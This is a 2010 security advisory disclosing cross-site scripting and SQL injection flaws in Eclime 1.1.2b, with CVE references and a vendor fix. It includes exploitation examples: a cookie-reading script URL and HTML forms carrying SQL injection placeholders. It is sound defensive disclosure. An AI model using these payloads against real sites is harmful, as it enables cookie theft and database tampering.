Community Edition
Total Tests:
This Week:
Today:
Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime


Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in Eclime

Advisory ID:HTB22704
Product:Eclime
Vendor:Eclime team
Vulnerable Versions:1.1.2b and probably prior
Tested Version:1.1.2b
Advisory Publication:November 16, 2010 [without technical details]
Vendor Notification:November 16, 2010
Public Disclosure:November 30, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
CVE References:CVE-2010-4852
CVE-2010-4851
Risk Level:High
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Eclime which could be exploited to perform cross-site scripting and SQL injection attacks.

1) Cross-site scripting (XSS) vulnerability in Eclime: CVE-2010-4852
The vulnerability exists due to input sanitation error in the "reason" parameter in login.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://[host]/login.php?login=fail&reason=<script>alert(document.cookie);</s cript>

2) SQL injection vulnerabilities in Eclime: CVE-2010-4851
2.1 The vulnerability exists due to input sanitation errors in the "country" parameter in create_account.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
<form action="http://[host]/create_account.php" method="post" name="main" >
<input type="hidden" name="action" value="process" id="action" />
<input type="hidden" name="email_address" value="email@address.com" />
<input type="hidden" name="password" value="password" />
<input type="hidden" name="confirmation" value="password" />
<input type="hidden" name="gender" value="m" />
<input type="hidden" name="firstname" value="firstname" />
<input type="hidden" name="lastname" value="lastname" />
<input type="hidden" name="dob_month" value="01" />
<input type="hidden" name="dob_day" value="01" />
<input type="hidden" name="dob_year" value="1987" />
<input type="hidden" name="street_address" value="street_address" />
<input type="hidden" name="city" value="city" />
<input type="hidden" name="state" value="state" />
<input type="hidden" name="postcode" value="1234" />
<input type="hidden" name="phoneAreaCode" value="123" />
<input type="hidden" name="phonePrefix" value="123" />
<input type="hidden" name="phoneNumber" value="123" />
<input type="hidden" name="country" value="'SQL_CODE_HERE" />
<input type="submit" value="submit" name="submit" />
</form>

2.2 The vulnerability exists due to input sanitation errors in the "ref" parameter in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://[host]/?ref=123%27SQL_CODE_HERE
2.3 The vulnerability exists due to input sanitation errors in the "poll_options_id" and "poll_id" parameters in index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
<form action="http://[host]/index.php?poll_action=vote" method="post">
<input name="poll_options_id" value="1'SQL_CODE_HERE " type="hidden">
<input name="poll_id" type="hidden" value="1'SQL_CODE_HERE" >
<input type="submit" value="submit" name="submit" />
</form>

How to Detect Cross-Site Scripting Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Upgrade to version 1.1.3b


References:
[1] High-Tech Bridge Advisory HTB22704 - https://www.immuniweb.com/advisory/HTB22704 - Multiple Vulnerabilities in Eclime
[2] Eclime - eclime.com - eclime is a very powerful e-commerce/shopping cart software based on osCommerce 2.2 solid engine
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Ask a Question